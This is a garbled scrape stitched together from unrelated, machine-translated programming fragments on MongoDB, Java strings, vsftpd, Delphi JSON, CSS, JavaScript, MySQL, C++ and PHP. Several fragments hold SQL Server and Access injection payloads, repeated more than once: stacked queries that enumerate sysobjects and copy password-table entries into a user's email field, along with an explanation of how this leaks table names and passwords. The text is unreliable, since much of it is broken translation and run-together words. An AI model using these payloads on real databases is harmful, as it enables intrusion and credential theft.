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(); { "IsMaster": false, "Maxbsonobjectsize": 16777216, "maxmessagesizebytes": 48000000, " Maxwritebatchsize ": +, " localtime ": Isodate (" 2015-09-23t07:49:32.934z "), " Maxwireversion ": 3, " Minwireversion ": 0, " OK ": 1 } > bye Iv. Verification1. Data synchronization1) Master:$ MONGO MongoDB shell version:3.0.6 connecting to:test > Use AAA; Switched to DB

this method in each class in theForObjectClass ofequals ()method, it is the judgment callequals ()The reference to the method and the incoming citationUse consistency, that is, whether the two references point to the same object. ForObjectClass ofequals ()Partymethod, it is equivalent to==。A .ForStringClass ofequals ()method, it is the content that determines the current string and the string passed inare consistent.25. For the equality judgment of a String object, use the Equals () method inst

Install vsftpd in ftp service, Nfs service, and Nis service ftp service: yuminstallvsftpd *-y view vsftdd installation: getsebool amp; ndash; tl | grepftp anonymous user vietcvsftpdvsftpdconf No. anon_mkdir_wri ftp service, Nfs service, and Nis service ftp service install vsftpd service: # yum install vsftpd *-y view vsftdd installation: # getsebool-tl | grep ftp anonymous user # vi/etc/vsftpd. conf to # anon_mkdir_write_enable = YES and then add anon_other_write_enable = YES # anon_upload_enab

.button1click (Sender:tobject);varJ:tjsonobject;beginJ: = Tjsonobject.create; J.addpair (' AA ',' 111 '); J.addpair (' BB ',' 222 ');//Output stringMemo1.text: = j.tostring;//Result: {"AA": "111", "BB": "222"}{ToJSON is the same as ToString, but should try to use ToString instead of ToJSON, because ToJSON is also calling ToString and reallocating memory}J.free;End;//tjsonarrayprocedureTform1.button2click (Sender:tobject);varA:tjsonarray;beginA: = Tjsonarray.create; A.add (1);//tjsonarray is not

css3-Box ModelBox Model Properties :Width widthsHeight altitudemargin outer marginBorder borderpadding inner margintest{width:200px; height:100px; margin:20px; padding:15px; border:5px solid #f00;}Standard mode, HTML header with document type declaration: Element actual width =width + padding-left + padding-right + border-left-width + border-right-widthelement actual height =heigth + padding-top +padding-bottom + border-top-width + border-bottom-widthPromiscuous (weird) mode: Document type decla

The two look very much alike.Functions declaration: Function Function name () {}Functional Expressions: Function name (writable and not writable) () {}: Named function expression/anonymous function expressionFor a few examples:function aaa () {}: Functions declarationvar a=function aaa () {}: named function expressionvar a = function () {}: an anonymous function expression;(function

red. Because the number of bytes returned by the first query exceeds max_length_for_sort_data, the sorting adopts regular sorting. in this case, MYSQL sorts rowid and converts random IO to sequential IO, therefore, the return value is 5 before and 6 after, while the second query uses optimized sorting, without the second data retrieval process, keeping the relative position of the record after sorting. If you want to optimize the sorting of the first statement, set max_length_for_sort_data to a

) if the object is created with new, The Destructor is automatically called when you delete it. Syntax: no return type, no parameter, function name is added before class name "~ " Code: class X { public: X() { } ~X() { } }; Note: 1. Why should I define a destructor as a virtual function?Because: virtual functions are designed to support polymorphism ,... Add later Problems encountered # Include Using namespace std; class

First of all declare: Database master Please go away, you saw an eyesore ah. Sometimes when the query, Ah, a field in, and not in simply can not meet the requirements, very much like more than one field in the, not in, but many databases do not support more than one field in the, not in (DB2 is supported), it is estimated that many friends are depressed bar! But it doesn't matter, I do not write the article, hehe. I used the database has Access,sql server,db2, laughed at AH. In fact also on th

String class:1. for the Equality judgment of a string object, use the Equals () method instead of = =. The Equals () of string determines whether the current string is consistent with the contents of the passed-in string.2. string is a constant, and its object cannot be changed once it has been created. When using the + stitching string, a new string object is generated instead of appending content to the original string object.3. string pool is in stack memory.4. String s = "

operations are sent to the currently available writehost. 0 "　　writetype= "0" dbtype= "MySQL" dbdriver= "native" switchtype= "2" slavethreshold= ">"show slave status3 Basic SQL Operation validationLook directly at the insert operation of the log, the current data is directly into the 3306 port of the host.01/17 10:53:58.596 DEBUG [$_NIOREACTOR-1-RW] (serverqueryhandler.java:56)-serverconnection [Id=1, Schema=TESTDB, host =0:0:0:0:0:0:0:1, User=test,txisolation=3, Autocommit=true, Schema=testdb]

) + char (0x72) + char (0x69) + char (0x73), char (0x63) + char (0x68) + char (0x72) + char (0x69) + char (0x73), 0 xffff )--Insert into users values (667,123,123, 0 xffff )--Insert into users values (123, admin --, password, 0 xffff )--; And user> 0; And (select count (*) from sysobjects)> 0; And (select count (*) from mysysobjects)> 0 // access_blank> DatabaseName of a data table; Update aaa set aaa = (se

name = FFFF ;-- ; Update [users] Set email = (select top 1 PWD from password where id = 2) Where name = FFFF ;-- ; Update [users] Set email = (select top 1 name from password where id = 2) Where name = FFFF ;-- The preceding statement is used to obtain the first user table in the database and put the table name in the FFFF user's mailbox field. By viewing FFFF user information, you can obtain the first table named ad. Then, the ID of the table is obtained based on the table name ad. The name of

Php array (2) add elements to the array header Array_unshift ($ states, 'AAA'); add aaa to the header of the array $ states, that is, the first Add elements at the end of the array Array_push ($ states, 'AAA'); add aaa to the end of the array $ states, that is, the lastDelete element from array header Array_shift ($

) + char (0x73), 0 xffff )-- Insert into users values (667,123,123, 0 xffff )-- Insert into users values (123, admin --, password, 0 xffff )-- ; And user> 0 ; And (select count (*) from sysobjects)> 0 ; And (select count (*) from mysysobjects)> 0 // name of the data table in the access Database ; Update aaa set aaa = (select top 1 name from sysobjects where xtype = u and Status> 0 );-- This is to update the

all records of the table Select * from employee; // View all codes used by the data Show variables like 'character % '; // Modify the client encoding to GBK Set character_set_client = GBK; // Modify the result set encoding to GBK. Set character_set_results = GBK; // Other insert statements Create Table ( Username varchar (20 ), Password varchar (20) ); Insert into a values ('zs', '123 '); Insert into a values ('wangw', '000000'), ('lisi', '000000 '); Insert a valu

;--; Update [users] Set email = (select top 1 PWD from password where id = 2) Where name = FFFF ;--; Update [users] Set email = (select top 1 name from password where id = 2) Where name = FFFF ;--The above statement is to get the first user table in the _ blank> database, and put the table name in the FFFF user's mailbox field.By viewing FFFF user information, you can obtain the first table named ad.Then, the ID of the table is obtained based on the table name ad. The name of the second table i

, sex, birthday, salary, entry_date, resume) values (1, 'hangsan', 'male', '2017-11-23 ', 1987, '2017-2-18', 'Good boy '); insert into employee (id, name, sex, birthday, salary, entry_date, resume) values (2, 'wangwu', 'male', '2017-11-23 ', 1988, '2017-2-18 ', 'Good boy '); insert into employee (id, name, sex, birthday, salary, entry_date, Resume) values (3, 'xiaohong ', 'female', '2017-11-23 ', 1983, '2017-2-18', 'Good girl '); insert into employee (id, name, sex, birthday, salary, entry_date,

How does php compare whether two arrays are equal to two arrays? $ aarray (aaa, bbb, ddd, aaa); $ barray (aaa, ddd, aaa, bbb ); to determine whether the two arrays are equal, the premise is that they cannot be sorted using built-in functions such as sort. If you must use a built-in function, which sort function is the

Java class loading sequence and java Loading Sequence Java class loading sequence I. Loading Sequence 1. initialize static member variables of the parent class 1.1 static code block 1.2. Common Code Block 1.3 No parameter Constructor 2. Static code block of the parent class 3. initialize static member variables of subclass 3.1 static code block 3.2. Common Code Block 3.3 No parameter Constructor 4. Static code blocks of child classes 5. initialize common member variables of the parent class 5.1